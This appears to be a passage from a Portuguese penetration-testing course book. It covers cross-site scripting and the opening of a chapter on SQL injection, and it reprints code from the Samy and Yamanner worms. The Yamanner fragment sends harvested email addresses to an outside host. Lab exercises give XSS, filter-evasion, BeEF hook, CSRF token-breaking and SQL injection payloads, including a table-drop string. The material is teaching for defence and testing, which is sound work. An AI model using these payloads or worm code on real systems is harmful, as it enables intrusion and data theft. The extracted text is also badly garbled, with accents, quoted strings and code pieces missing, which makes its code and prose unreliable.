um iframe para carregar o Javascript de controle, o qual permite controle persistente
sobre o navegador da vtima. O objetivo original da ferramenta era chamar a ateno das
pessoas, acerca das possibilidades de ataques baseados em cross-site scripting, as quais,
como se sabe, vo muito alm da simples exibio de uma caixa de mensagem ao usurio.
O BeEF uma ferramenta desenvolvida em Ruby que suporta diversas plataformas dife-
rentes, incluindo Windows, Linux e Mac OS X. Necessita da verso 1.9 ou superior dos
pacotes do Ruby e pode trabalhar com os sistemas gerenciadores de banco de dados SQLite,
204
MySQL e PostgreSQL. A arquitetura geral composta por um nico servidor, que realiza a
interface com o usurio (no caso, o atacante) e fornece a camada de comunicao, com os
navegadores web escravizados.
205
O processo de obteno de controle de um navegador web necessita da carga do script Figura 5.22
hook.js, por meio de uma vulnerabilidade de cross-site scripting. O vetor de injeo que Interface adminis-
trativa do BeEF.
deve ser usado nesse processo :
</script>
206
Figura 5.24
Teste de histrico Contramedidas
de navegao.
As principais medidas que podem ser adotadas, para evitar a ocorrncia de cross-site q
scripting, esto listadas a seguir (Grossman et al., 2007; Stuttard e Pinto, 2007):
1 Considere que toda informao fornecida por usurios maliciosa e, assim, antes de
process-la, verifique se ela est de acordo com valores reconhecidamente vlidos para
o campo ou parmetro. importante mencionar que essa abordagem superior ao uso
de listas negras, pois, dificilmente, possvel enumerar todas as entradas perniciosas
possveis. Complementarmente, restrinja o tamanho do campo ao mximo permitido.
1 Utilize codificao HTML na sada, o que faz com que caracteres potencialmente peri-
gosos sejam tratados como parte do contedo da pgina HTML, em vez de considerados
parte da estrutura (Stuttard e Pinto, 2007; Van der Stock et al., 2008). Por exemplo, o
texto <script> seria inserido na pgina como <script>, uma vez codificado. A
Figura 5.25 apresenta o mapeamento para os principais caracteres problemticos.
1 Desabilite o mtodo TRACE no servidor web, para evitar cross-site tracing. Embora os
navegadores web atuais probam a execuo de requisies baseadas neste mtodo,
sempre uma boa ideia adotar defesa em camadas.
A Figura 5.26 ilustra o cdigo completo do Samy Worm. Os trechos marcados em negrito cor-
respondem a algumas das tcnicas de evaso utilizadas por Samy Kamkar.
207
<div id=mycode style=BACKGROUND: url(java
getHome(){if(J.readyState!=4){return}var AU=J.responseText;A
G=findIn(AU,P+rofileHeroes,</td>);AG=AG.substring(61,AG.
length);if(AG.indexOf(samy)==-1){if(AF){AG+=AF;var
AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLa
bel]=heroes;AS[submit]=Preview;AS[interest]=AG;J=getXM
LObj();httpSend(/index.cfm?fuseaction=profile.previewInteres
ts&Mytoken=+AR,postHero,POST,paramsToString(AS))}}}function
postHero(){if(J.readyState!=4){return}var AU=J.responseText;var
Figura 5.26
AR=getFromURL(AU,Mytoken);var AS=new Array();AS[interestLabel]=h Cdigo do Samy
eroes;AS[submit]=Submit;AS[interest]=AG;AS[hash]=getHiddenP Worm
(Kamkar, 2005).
208
arameter(AU,hash);httpSend(/index.cfm?fuseaction=profile.proces
sInterests&Mytoken=+AR,nothing,POST,paramsToString(AS))}function
main(){var AN=getClientFID();var BH=/index.cfm?fuseaction=user.
viewProfile&friendID=+AN+&Mytoken=+L;J=getXMLObj();httpSe
nd(BH,getHome,GET);xmlhttp2=getXMLObj();httpSend2(/index.
cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytok
en=+L,processxForm,GET)}function processxForm(){if(xmlhttp2.
readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHidden
Parameter(AU,hashcode);var AR=getFromURL(AU,Mytoken);var AS=new
Array();AS[hashcode]=AQ;AS[friendID]=11851658;AS[submit]=
Add to Friends;httpSend2(/index.cfm?fuseaction=invite.addFriend
sProcess&Mytoken=+AR,nothing,POST,paramsToString(AS))}function
httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval(xmlhttp2.on
r+eadystatechange=BI);xmlhttp2.open(BJ,BH,true);if(BJ==POST)
{xmlhttp2.setRequestHeader(Content-Type,application/x-www-form-
urlencoded);xmlhttp2.setRequestHeader(Content-Length,BK.length)}
xmlhttp2.send(BK);return true}></DIV>
Cdigo do Yamanner
O cdigo do Yamanner encontra-se ilustrado na Figura 5.27.
var Email = ;
var IDList = ;
var CRumb = ;
if (window.XMLHttpRequest)
} else if (window.ActiveXObject)
else http_request.send(Param);
window.open(http://www.lastdata.com);
Figura 5.27
Cdigo do ServerUrl = url0;USIndex = ServerUrl.indexOf(us. ,0);
Yamanner.
209
MailIndex = ServerUrl.indexOf(.mail ,0);
function GetIDs(HtmlContent) {
IDList = ;
StartString = ;
EndString = ;
i = 0;
while(StartIndex >= 0) {
StartString = ;
StartString = ;
i++;
if(IDList.indexOf(,, 0)>0 ) {
IDListArray = IDList.split(,);
Email = IDListArray[0];
Teste de Invaso de Aplicaes Web
IDList = IDList.replace(Email + ,, );
CurEmail = spamform.NE.value;
IDList = IDList.replace(CurEmail + ,, );
IDList = IDList.replace(CurEmail, );
UserEmail = showLetter.FromAddress.value;
210
IDList = IDList.replace(, + UserEmail, );
IDList = IDList.replace(UserEmail + ,, );
IDList = IDList.replace(UserEmail, );
return IDList;
function ListContacts() {
if (http_request.readyState == 4) {
if (http_request.status == 200) {
HtmlContent = http_request.responseText;
IDList = GetIDs(HtmlContent);
function ExtractStr(HtmlContent) {
EndString = \u0022;
i = 0;
return crumb;
function Getcrumb() {
Captulo 5 - Cross-site scripting
if (http_request.readyState == 4) {
if (http_request.status == 200) {
HtmlContent = http_request.responseText;
CRumb = ExtractStr(HtmlContent);
211
Url = http://us. + Server + .mail.yahoo.com/ym/
Compose;
Param = SEND=1&SD=&SC=&CAN=&docCharset=windows-
1256&PhotoMailUser=&PhotoToolInstall=&OpenInsertPhoto=&PhotoGetStar
t=0&SaveCopy=no&PhotoMailInstallOrigin=&.crumb=RUMBVAL&Mid=EMAILMID
&inc=&AttFol=&box=BOXNAME&FwdFile=YM_FM&FwdMsg=EMAILMID&FwdSubj=EM
AILSUBJ&FwdInline=&OriginalFrom=FROMEMAIL&OriginalSubject=EMAILSUBJ
&InReplyTo=&NumAtt=0&AttData=&UplData=&OldAttData=&OldUplData=&FNam
e=&ATT=&VID=&Markers=&NextMarker=0&Thumbnails=&PhotoMailWith=&Brow
seState=&PhotoIcon=&ToolbarState=&VirusReport=&Attachments=&Backgr-
ound=&BGRef=&BGDesc=&BGDef=&BGFg=&BGFF=&BGFS=&BGSolid=&BGCustom=&
PlainMsg=%3Cbr%3E%3Cbr%3ENote%3A+forwarded+message+attached.&Photo
Frame=&PhotoPrintAtHomeLink=&PhotoSlideShowLink=&PhotoPrintLink=&P
hotoSaveLink=&PhotoPermCap=&PhotoPermPath=&PhotoDownloadUrl=&Photo
SaveUrl=&PhotoFlags=&start=compose&bmdomain=&showcc=&showbcc=&AC_
Done=&AC_ToList=0%2C&AC_CcList=&AC_BccList=&sendtop=Send&savedraft
top=Save+as+a+Draft&canceltop=Cancel&FromAddr=&To=TOEMAIL&Cc=&Bcc=
BCCLIST&Subj=EMAILSUBJ&Body=%3CBR%3E%3CBR%3ENote%3A+forwarded+mess
age+attached.&Format=html&sendbottom=Send&savedraftbottom=Save+as+
a+Draft&cancelbottom=Cancel&cancelbottom=Cancel;
Param = Param.replace(PlainMESSAGE, );
212
Param = Param.replace(EMAILSUBJ, MySubj);
function alertContents() {
if (http_request.readyState == 4) {
window.navigate(http://www.av3.net/?ShowFolder.....8;BCCList=
+ IDList)
213
Teste de Invaso de Aplicaes Web
214
Roteiro de Atividades 5
Atividade 1 Introduo
Esta atividade tem por objetivo ilustrar ao leitor quo comumente so encontrados pro-
blemas referentes a cross-site scripting em aplicaes web reais. Para inici-la, carregue as
mquinas virtuais do aluno e do servidor (Fedora) e execute os roteiros na primeira delas.
2. Acesse http://www.xssed.com
3. Navegue pelo site e descubra que empresas conhecidas j foram vtimas de XSS.
4. Encerre o Firefox.
XSS refletido
Nessa classe de XSS, o cdigo enviado na URL ou no cabealho HTTP, como parte da requi-
sio, explorando um parmetro que exibido sem tratamento na pgina resultante. Nor-
malmente, requer que o usurio seja induzido a clicar em um link especialmente construdo,
com contedo malicioso.
7. Altere o parmetro name, na barra de endereos, para o seu sobrenome e pressione Enter.
<script>alert(document.cookie)<%2Fscript>
9. Clique em Ok.
215
11. Acesse o diretrio esruser/Arquivos do Curso/sessao-05.
13. Passe o mouse por cima do link e observe a URL na barra de estado.
14. Clique no link e veja o que acontece. Esse um dos vetores de ataque de XSS refletido.
XSS armazenado
Historicamente, fruns de discusso so propcios a apresentarem vulnerabilidades de
cross-site scripting armazenado. Neste exerccio, o leitor explorar o problema em uma
aplicao desse tipo.
6. Cadastre uma mensagem, fornecendo ttulo e texto. Clique em Submit. Observe que um
link para a mensagem adicionado na seo Message List.
<script>alert(1)</script>
1. Acesse http://xss.esr.rnp.br/
?usuario=ESR
6. Altere a query string, na barra de endereos, para o texto abaixo e pressione Enter:
?usuario=ESR<script>document.write(<br>XSS)<%2Fscript>
216
9. Clique na aba Raw e veja que o cdigo foi enviado ao servidor.
11. Retorne ao Firefox, altere a query string para o texto abaixo e pressione Enter:
?usuario=ESR#<script>document.write(<br>XSS2)</script>
14. Observe que, agora, o cdigo no foi enviado ao servidor, embora tenha sido executado
no cliente.
XCS
Este exerccio ilustra um cross channel scripting, em uma aplicao web que permite visua-
lizar a lista de arquivos de um diretrio do sistema operacional.
1. Acesse http://xss.esr.rnp.br/
~$ ssh root@192.168.213.200
~$ cd /var/www/html/xss/xcs/
~$ ls -l
~$ touch novo
9. Retorne ao Firefox e recarregue a pgina. Veja que a listagem inclui o novo arquivo.
217
Atividade 3 Worms baseados em XSS
Desde o Samy Worm, diversos malwares baseados em XSS foram criados, para atacar os
mais variados tipos de aplicaes web, incluindo redes sociais, blogs, jogos e servidores de
vdeo. O propsito desta atividade analisar brevemente os cdigos de alguns dos worms
mais famosos, pertencentes a essa categoria.
GNUCITIZEN
O stio web GNUCITIZEN contm diversas informaes sobre segurana da informao,
inclusive os cdigos-fonte de alguns worms baseados em XSS.
2. Acesse http://www.gnucitizen.org/blog/wormx/
3. Veja as aplicaes web que j foram afetadas por worms baseados em XSS.
5. Encerre o Firefox.
Pontos de injeo
Neste exerccio, o leitor aprender a construir os vetores de teste corretamente, de acordo
com o ponto em que ocorre a injeo de cdigo.
<script>alert(1)</script>
218
12. Digite o seu nome e clique em Definir nome.
14. Procure o ponto em que seu nome foi inserido na pgina HTML.
<script>alert(1)</script>
ESR;alert(1);var b=
</script><script>alert(1)</script><script>
22. Pressione Ctrl + Shift + J para visualizar os erros ocorridos e role a janela at o final.
O que se pode concluir pelas ltimas mensagens de erro?
28. Procure o ponto em que seu nome foi inserido na pgina HTML.
<script>alert(1)</script>
219
32. Pressione Alt + Seta para a esquerda para retornar pgina anterior.
ESR onclick=alert(1)
39. Procure o ponto em que seu nome foi inserido na pgina HTML.
<script>alert(1)</script>
</title><script>alert(1)</script>
Roteiros de teste
Neste exerccio, o aluno realizar alguns testes para identificar vulnerabilidades de cross-
-site scripting na aplicao web.
5. Na barra de endereos, substitua tudo aps a parte numrica por /esrxpto e pressione
Teste de Invaso de Aplicaes Web
<script>alert(1)</script>
220
10. Clique em Ok.
~$ cat texto.html
~$ cat alert.html
23. Pressione Alt + Seta para a esquerda no Firefox, para retornar pgina anterior.
221
37. Feche a janela de visualizao de cdigo HTML.
O que acontece?
49. Em Profile Color, digite green e clique em Update. O que acontece com a cor do nome
de usurio?
green onclick=alert(1)
Teste de Invaso de Aplicaes Web
222
Adulterao de pgina
Ataques de cross-site scripting permitem, entre outras coisas, que pginas da aplicao
afetada sejam adulteradas. Nessa atividade, o aluno realizar, em um sistema vulnervel, a
remoo e a incluso dinmica de elementos do DOM.
12. Clique no smbolo + ao lado de FORM, na rvore do DOM. Cada um dos elementos
exibidos numerado crescentemente a partir de zero, e pode ser acessado pela coleo
childNodes[].
13. A partir do primeiro item, anote os nmeros dos ns referentes aos elementos P e INPUT.
15. Clique em cada um dos ns P e INPUT, para identificar os itens correspondentes na pgina.
<script>
var d = document.forms[0];
d.removeChild(d.childNodes[1]);
</script>
Captulo 5 - Roteiro de Atividades
O que acontece?
223
19. Digite o seguinte, para remover o formulrio, e clique em Submit:
<script>
var p = document.forms[0].parentNode;
p.removeChild(document.forms[0]);
</script>
21. Digite o cdigo abaixo, para inserir um novo formulrio e remover o antigo, e clique
em Submit:
<script>
var p = document.forms[0].parentNode;
p.removeChild(document.forms[0]);
</script>
22. Digite qualquer texto no campo exibido e veja que esse diferente do original.
24. Procure pelos elementos gerados dinamicamente. Foi possvel encontr-los? Por qu?
2. Acesse http://xss.esr.rnp.br/
224
11. Clique em Edit, seguido de Preferences.
14. Desmarque o item Allow pages to choose their own colors, instead of my selections above.
17. Execute novamente os passos 11 a 15, mas marcando a opo do Passo 14.
<script>
var t;
/* Insere um paragrafo */
t = document.getElementById(par).childNodes[0];
document.onkeypress=function(e) {
</script>
Captulo 5 - Roteiro de Atividades
6. Digite algum texto no campo e veja que ele reproduzido na parte inserida dinamicamente.
7. Encerre o Firefox.
225
8. Inicie o Firefox, presente no menu Aplicativos\Internet.
15. Anote os nomes dos campos e do boto do formulrio. Observe que h um token
anti-CSRF, chamado de csrf_token.
19. Veja que o DVWA aberto na nova janela. Que mensagem de erro exibida?
<Script>
function breakToken() {
var f = document.getElementById(cs).contentDocument.forms[0];
f.password_new.value = pwd;
f.password_conf.value = pwd;
f.Change.click();
</script>
Teste de Invaso de Aplicaes Web
226
28. Clique em DVWA Security.
Evaso de filtros
Algumas aplicaes implementam filtros para evitar ataques de injeo, porm, de maneira
vulnervel. Nesse contexto, essa prtica tem por objetivo exemplificar algumas das tcnicas
que podem ser utilizadas no processo de evaso de tais controles.
2. Acesse http://xss.esr.rnp.br/
<script>alert(1)</script>
O ataque funcionou?
10. Procure pelo texto injetado e analise o motivo da explorao ter falhado.
<Script>alert(1)</script>
<script >alert(1)</script>
<scr<script>ipt>alert(1)</script>
227
18. Feche a janela de visualizao de cdigo HTML.
;alert(1);//
O que acontece?
21. Procure pelo texto injetado e analise o motivo da explorao ter falhado.
\;alert(1);//
25. Procure pelo texto injetado e analise o motivo da explorao ter sido bem-sucedida.
</script><script>alert(1)</script>
</script><script>alert(1)</script><script>
32. Adicione o texto abaixo URL contida na barra de endereos e recarregue a pgina:
Teste de Invaso de Aplicaes Web
?name=<script>eval(location.hash.substr(1))<%2fscript>#alert(1)
alert(1);alert(2)
228
Arcabouos de explorao
Essa prtica visa explorar algumas das funcionalidades oferecidas pelo BeEF, o qual automa-
tiza um grande conjunto de ataques baseados em cross-site scripting.
hook.js"></script>
7. Acesse http://webgoat.esr.rnp.br:8080/webgoat/attack
hook.js"></script>
19. Analise as informaes exibidas sobre o navegador web e o ambiente em que executado.
229
28. Analise as informaes exibidas sobre o navegador web e o ambiente em que executado.
230
Bibliografia 5
1 BOJINOV, Hristo; BURSZTEIN, Elie e BONEH, Dan. XCS: Cross Channel Scripting and its
Impact on Web Applications. In: CCS09: Proceedings of the 16th ACM Conference on
Computer and Communications Security (New York, USA), pg. 420-431, Association for
Computing Machinery, 2009.
1 BOJINOV, Hristo; BURSZTEIN, Elie e BONEH, Dan. The Emergence of Cross Channel
Scripting. In: Communications of the ACM, volume 53, nmero 08, p. 105-113, Association
for Computing Machinery, 2010.
1 CHIEN, Eric. Malicious Yahooligans. White Paper: Symantec Security Response, Symantec, 2006.
1 ENDLER, David. The Evolution of Cross-Site Scripting Attacks. iALERT White Paper, iDEFENSE
Labs, 2002.
1 GROSSMAN, Jeremiah. Cross-Site Tracing (XST) - The New Techniques and Emerging Threats to
Bypass Current Web Security Measures Using TRACE and XSS. WhiteHat Security, 2003.
1 GROSSMAN, Jeremiah. Cross-Site Scripting Worms & Viruses - The Impending Threat & the
Best Defense. White Paper, White Hat Security, 2007a.
1 GROSSMAN, Jeremiah. Hacking Intranet Websites from the Outside (Take 2) - Fun with &
without Javascript Malware. White Paper, White Hat Security, 2007b.
1 GROSSMAN, Jeremiah; HANSEN, Robert RSnake; PETKOV, Petko pdp, RAGER, Anton e
FOGIE, Seth. XSS Attacks Cross Site Scripting Exploits and Defense. Syngress, 2007.
1 HOFFMAN, Billy. Stealing Search Engine Queries with JavaScript. SPI Labs Research Brief, SPI
Labs, 2006.
1 JOHNS, Martin. SessionSafe: Implementing XSS Immune Session Handling. In: ESORICS
2006, Lecture Notes in Computer Science 4189, p. 444-460. Springer-Verlag, 2006.
1 KAMKAR, Samy. Technical explanation of The MySpace Worm Also called the Samy
worm or JS.Spacehero worm. 2005. Disponvel em:
http://namb.la/popular/tech.html. Data de acesso: 30/07/2011.
1 KLEIN, Amit. Cross Site Scripting Explained. Sanctum Security Group, 2002.
1 KLEIN, Amit. DOM Based Cross Site Scripting or XSS of the Third Kind - A look at an
overlooked flavor of XSS. Web Application Security Consortium, 2005. Disponvel em:
Captulo 5 - Bibliografia
1 KUPPAN, Lavakumar. Attacking with HTML5. Attack & Defense Labs, 2010.
1 MEUCCI, Matteo et al. OWASP testing guide v3.0. OWASP, 2008.
231
1 SHAH, Shreeraj. Hacking Browsers DOM - Exploiting Ajax and RIA. Blackhat, 2010.
Disponvel em: https://media.blackhat.com/bh-us-10/whitepapers/Shah/BlackHat-USA-
2010-Shah-DOM-Hacks-Shreeraj-wp.pdf. Data de acesso: 30/07/2011.
1 STUTTARD, Dafydd e PINTO, Marcus. The Web Application Hackers Handbook. Wiley
Publishing, Inc., 2007.
1 SUN, Fangqi; XU, Liang e SU, Zendhong. Client-Side Detection of XSS Worms by Monitoring
Payload Propagation. In: ESORICS09: Proceedings of the 14th European Conference on
Research in Computer Security, Springer-Verlag, 2009.
1 VAN DER STOCK, Andrew; CRUZ, Dinis; CHAPMAN, Jenelle; LOWERY, David; KEARY, Eoin;
MORANA, Marco M.; ROOK, David; PREGO, Paulo e WILLIAMS, Jeff. OWASP Code Review
Guide v1.1. OWASP, 2008.
Teste de Invaso de Aplicaes Web
232
6
Injeo de SQL
objetivos
conceitos
Injeo de SQL, injeo de SQL s cegas, injeo de SQL de segunda ordem, partio
e balanceamento, mtodo baseado em busca binria, mtodo bit-a-bit.
Introduo
Injeo de SQL atualmente um dos ataques mais comuns contra aplicaes web e con- q
siste em inserir comandos SQL, em campos e parmetros da aplicao, com o objetivo de
que sejam executados na camada de dados (Stuttard e Pinto, 2007; Howard et al., 2005).
Em ataques mais simples, operaes podem ser realizadas no banco de dados, limitadas
aos privilgios da conta que realiza o acesso. Com um pouco mais de elaborao, possvel
aproveitar-se dos mecanismos de interao com o sistema operacional, existentes em bancos
de dados, para leitura/escrita de arquivos e execuo de comandos arbitrrios, por exemplo.
233
Para melhor compreender o ataque, considere uma aplicao, escrita na linguagem PHP, que
aceite como entrada um sobrenome e que liste os nmeros de carto de crdito associados
a ele, por meio de uma consulta construda da seguinte maneira:
where last_name = .
$inputLastName.
Se um usurio fornecer um valor vlido para o campo inputLastName, como Smith, por
exemplo, a aplicao segue o curso normal de operao, realizando a consulta abaixo ao
banco de dados e exibindo os resultados conforme a Figura 6.1:
Figura 6.1
Operao normal
da aplicao.
Note que o valor digitado pelo usurio foi concatenado sem modificaes na consulta. O que
aconteceria se, em vez de um dado vlido, ele entrasse com a cadeia de caracteres or
1=1--? A consulta resultante seria:
Nesse caso, a clusula where sempre verdadeira, pois a expresso 1=1 uma tautologia e,
assim, a consulta retorna todos os dados da tabela user_data, como pode ser observado na
Figura 6.2. Perceba que os dois hfens no final da entrada foram fornecidos para comentar o
resto da linha e evitar erros de comando mal formado.
Teste de Invaso de Aplicaes Web
Figura 6.2
Dados extrados
por meio de injeo
de SQL.
234
Para pensar
Exerccio de fixao 1 e
Injeo de SQL
Captulo 6 - Injeo de SQL
Por que injeo de SQL um dos ataques mais perigosos contra uma aplicao?
235
Especificidades de alguns SGBDs
Antes de iniciar os tpicos de descoberta e explorao de vulnerabilidades, convm q
introduzir alguns conceitos referentes linguagem SQL, fundamentais para a execuo
de ataques bem-sucedidos, no contexto deste captulo. importante observar que,
embora sejam muito similares, as sintaxes de SQL, empregadas pelos diversos SGBDs
existentes, apresentam vrios aspectos especficos que devem ser conhecidos por quem
realiza um teste de invaso.
Dada a diversidade de tais sistemas, oportuno focar naqueles que possuem maior
participao de mercado, pois sero encontrados mais frequentemente em avaliaes de
segurana. Por esse motivo, nesta seo e no restante deste captulo, sero considerados
os seguintes sistemas gerenciadores de bancos de dados: Oracle, Microsoft SQL Server,
MySQL e PostgreSQL.
1 SELECT: comando que permite selecionar dados de uma ou mais tabelas e vises e ,
por exemplo, empregado em funcionalidades de consulta. As seguintes clusulas e
operadores so muito utilizados para compor as cadeias de ataque:
2 FROM: indica a partir de quais tabelas e vises os dados devem ser selecionados.
Somente obrigatria em Oracle, que disponibiliza a tabela DUAL, para os casos
em que os valores desejados no se originam de tabelas ou vises.
2 WHERE: define as condies que devem ser satisfeitas para selecionar as linhas
das tabelas especificadas. Normalmente, o ponto em que ocorre a injeo.
2 HAVING: aplicada aos grupos obtidos pela clusula GROUP BY, restringe aqueles
que sero selecionados pela consulta.
2 UNION: operador que realiza a juno dos resultados de duas consultas, elimi-
nando linhas repetidas. Para funcionar, requer que o nmero de colunas das
consultas seja o mesmo e que os respectivos tipos sejam compatveis.
2 UNION ALL: similar ao operador UNION, mas inclui, tambm, as linhas repetidas.
1 INSERT: adiciona uma ou mais linhas na tabela especificada e usado, por exemplo,
em funcionalidades de cadastro de dados e de usurios.
1 UPDATE: atualiza uma ou mais colunas de uma tabela ou viso, englobando todas as
Teste de Invaso de Aplicaes Web
1 DELETE: remove uma ou mais linhas de uma tabela ou viso, englobando todas
aquelas que satisfaam as condies estabelecidas pela clusula WHERE. Pode ser
utilizada, por exemplo, em remoo de usurios e de dados gerais.
236
Empilhamento de comandos
uma funcionalidade disponibilizada por alguns sistemas gerenciadores de bancos de q
dados, que consiste no suporte submisso de mltiplos comandos SQL de uma nica
vez. Em alguns casos, entretanto, o funcionamento depende, tambm, da linguagem na
qual a aplicao desenvolvida (Clarke, 2009).
Por exemplo, o SGBD MySQL passou a suportar empilhamento de comandos, a partir da ver-
so 5, mas no h como utiliz-lo em conjunto com aplicaes antigas escritas em PHP que
no usam o mdulo Mysqli (Guimares, 2009).
Isso deixa claro o exemplo ; drop table user_data--, ilustrado na seo anterior. O grande
interesse em empilhamento de comandos reside no fato de que muitas das tcnicas de injeo
de SQL dependem dessa funcionalidade ou so executadas mais facilmente quando ela est dis-
ponvel. De todos os SGBDs abordados, somente o Oracle aceita apenas comandos individuais.
Expresso condicional
Uma expresso condicional avaliada em funo de qual das condies enumeradas q
satisfeita e tem a vantagem de poder ser utilizada em qualquer lugar que aceite uma
expresso, como em uma clusula WHERE, por exemplo.
A Figura 6.4 sumariza o suporte a expresses condicionais e similares nos diversos bancos
de dados, enquanto o comando abaixo ilustra o uso delas em uma consulta realizada a um
banco de dados Oracle:
else ? end,
author,
title
from papers
Captulo 6 - Injeo de SQL
237
Comando de pausa
Um comando de pausa permite suspender o processamento por um perodo de tempo q
definido pelo usurio. muito til quando o ataque de injeo de SQL no gera resul-
tados que podem ser visualizados por meio da aplicao, pois permite inferir que o
cdigo injetado foi executado, se o atraso especificado ocorrer.
Para poder ser usado desse modo, o comando de pausa precisa ser uma funo ou ento
comandos empilhados devem ser suportados. No caso de Oracle, nenhuma dessas con-
dies atendida, mas possvel simular o mesmo efeito, por meio de subconsultas que
levam muito tempo para executar, conforme o exemplo:
A Figura 6.5 sumariza os comandos de pausa disponveis em cada um dos bancos de dados
considerados neste texto.
PL/SQL: dbms_lock.sleep(#segundos).
Expresso:
Oracle
(select count(*) from all_users, all_users, all_users, all_users, all_users)
>0
As funes e os operadores que efetuam as tarefas acima esto listados, para cada banco de
dados, na Figura 6.6. Os significados de str, pos, #, char e int so, respectivamente,
cadeia de caracteres, posio inicial, nmero de caracteres, caractere e expresso inteira.
238
Para Para
SGBD Concatenao Subcadeia Tamanho
ASCII char
espao
MySQL substr(str, pos, [#]) length(str) ascii(char) char(int)
concat(str1, ...)
||
Oracle substr(str, pos, [#]) length(str) ascii(char) chr(int)
concat(str1, str2)
A Figura 6.7 ilustra os smbolos utilizados por diversos bancos de dados para cada um dos
operadores bit-a-bit. Observe que o Oracle suporta nativamente apenas o operador AND e
que os demais so derivados por expresses matemticas.
Figura 6.7
PostgreSQL x&y x|y x#y
Operadores
SQL Server x&y x|y x^y
bit-a-bit.
Comentrios
O principal objetivo de se utilizar o mecanismo de comentrio em um ataque de injeo q
de SQL evitar erros de sintaxe, por meio da desconsiderao de aspas e clusulas
finais. Porm, quando o comando possui parnteses na parte que sofre a injeo, o uso
dessa tcnica resulta em erro, pois o comando submetido ao banco de dados fica com
parnteses desbalanceados. Nesse caso, outra estratgia de explorao, abordada mais
ao final do captulo, deve ser adotada.
Captulo 6 - Injeo de SQL
Outro uso de comentrios consiste na evaso de filtros mal escritos, que, por exemplo,
descartam todas as entradas que possuem espaos, mas aceitam as demais.
Para quebrar um controle desse tipo e evitar a rejeio do vetor de teste, basta substituir
todos os espaos por /**/, que atuam como um comentrio no interior de comandos.
Uma particularizao desse tipo de comentrio implementada pelo MySQL, a qual permite
incluir o cdigo SQL especificado, se a verso do servidor for maior que a informada por um
parmetro numrico de cinco dgitos. Por exemplo, considere o comentrio /*!50000 +
10*/, que insere o cdigo + 10, somente se a verso do MySQL for maior que a 5.00.00.
239
Um sumrio dos tipos de comentrio suportados por diversos SGBDs, juntamente com as
respectivas notaes, apresentado na Figura 6.8.
Finalizao de linha #, ` e -- - -- -- --
Figura 6.8
Descoberta de vulnerabilidades e explorao Comentrios supor-
tados pelos SGBDs.
Nesta seo, sero descritas diversas tcnicas, bsicas e avanadas, para a deteco e
explorao de vulnerabilidades que permitem executar ataques de injeo de SQL.
Um mtodo possvel de teste engloba os seguintes passos, cuja ordem de execuo varia q
conforme cada cenrio:
7. Escalada de privilgios.
Locais de injeo
Dependendo do tipo de comando SQL utilizado, o local em que ocorre a injeo muda e q
regras diferentes devem ser respeitadas para que no sejam introduzidos erros sint-
ticos (Stuttard e Pinto, 2007).
Comandos SELECT
So utilizados em funcionalidades que exibem informaes, como consultas de catlogos
e de dados cadastrais, por exemplo. Dados fornecidos pelos usurios, de modo geral, so
empregados como parte da clusula WHERE e, assim, possvel, muitas vezes, utilizar o
Teste de Invaso de Aplicaes Web
Comandos INSERT
So empregados, por exemplo, em cadastros de usurios e em incluso de novos registros
em uma base de dados. Os valores fornecidos pelos usurios so usados como parte da
clusula VALUES, que consiste em uma lista de expresses, circundada por parnteses. O
nmero de elementos depende da quantidade de colunas especificadas no comando ou de
colunas existentes na tabela. Disso tudo, conclui-se que, se o vetor de injeo comentar o
final do comando, um erro sinttico ser introduzido. De acordo com Stuttard e Pinto (2007),
240
para solucionar esse empecilho, pode-se submeter uma sequncia crescente de valores, at
que a incluso ocorra com sucesso. Como exemplo, tem-se:
texto)--
texto, 1)--
texto, 1, 1)--
texto, 1, 1, 1)--
...
Comandos UPDATE
So utilizados para atualizao de dados cadastrais e de quantidade de itens de um produto
no estoque, por exemplo. A injeo de SQL pode ocorrer na clusula SET e, tambm, na
clusula WHERE, e, de modo geral, comentrios podem ser empregados sem causar erro
sinttico. Apesar disso, muito cuidado deve ser tomado para evitar que todas as linhas da
tabela sejam atualizadas, perdendo-se com isso a consistncia das informaes. Tal cenrio
possvel se um comentrio de final de linha injetado na clusula SET, descartando a res-
trio imposta pela clusula WHERE.
Comandos DELETE
Um exemplo de uso em aplicaes inclui a remoo de contas de usurio e de mensagens
em redes sociais, sendo que os dados fornecidos pelo usurio para a realizao da operao
so utilizados na clusula WHERE. Tambm necessrio tomar muito cuidado ao efetuar
uma injeo de SQL em um DELETE, pois pode-se acabar removendo todas as linhas da
tabela manipulada.
Testes bsicos
A melhor maneira de se testar aplicaes, para detectar se so vulnerveis injeo de SQL,
com o auxlio de ferramentas automatizadas, de modo a aumentar a produtividade da
tarefa. Contudo, importante saber como um teste manual pode ser executado, porque, em
muitos casos, o analista de segurana precisa alimentar essas ferramentas com informaes
que possibilitam filtrar alarmes falsos (Meucci et al., 2008).
Um proxy de interceptao deve ser utilizado para alterar esses valores nos casos em que
o teste realizado manualmente. Observe que a lista dos parmetros a serem avaliados
Captulo 6 - Injeo de SQL
241
Muitas vezes, nesse processo, informaes importantes so reveladas, como, por exemplo,
o fornecedor de banco de dados utilizado ou o prprio comando que gerou o problema.
Observe que, no caso de PostgreSQL, os nomes das colunas e da tabela so gratuitamente
fornecidos ao usurio da aplicao.
Figura 6.9
Mensagem de erro
do MySQL, decor-
rente de consulta
mal formada.
Figura 6.10
Mensagem de erro
do Oracle, decor-
rente de consulta
mal formada.
Figura 6.11
Mensagem de erro
do PostgreSQL,
decorrente de con-
sulta mal formada.
Teste de Invaso de Aplicaes Web
Figura 6.12
Mensagem de erro
do SQL Server,
decorrente de con-
sulta mal formada.
242
Nem sempre, porm, possvel confirmar a vulnerabilidade, por meio de mensagens de q
erro contendo tantas informaes, como nos exemplos ilustrados. Muitas aplicaes,
hoje em dia, exibem apenas uma mensagem genrica de erro, que pode, muito bem,
resultar da rejeio da entrada fornecida, antes da submisso da consulta, em vez de
uma vulnerabilidade relacionada injeo de SQL. Nesses casos, outras abordagens
podem ser adotadas para retificar o defeito na aplicao:
Um ponto importante que deve ser observado, para que os ataques sejam bem-sucedidos, q
que o parmetro que sofre a injeo pode, s vezes, ser usado em expresses complexas
que utilizam diversos parnteses. Se estes no forem balanceados corretamente, a sintaxe
do comando submetido ser invlida e o banco de dados reclamar do problema.
from papers
Caso o valor fornecido seja or 1=1--, o comando submetido ao banco de dados ser:
from papers
Que, claramente, no ser executado pelo servidor, devido ao erro sinttico. De modo a cor-
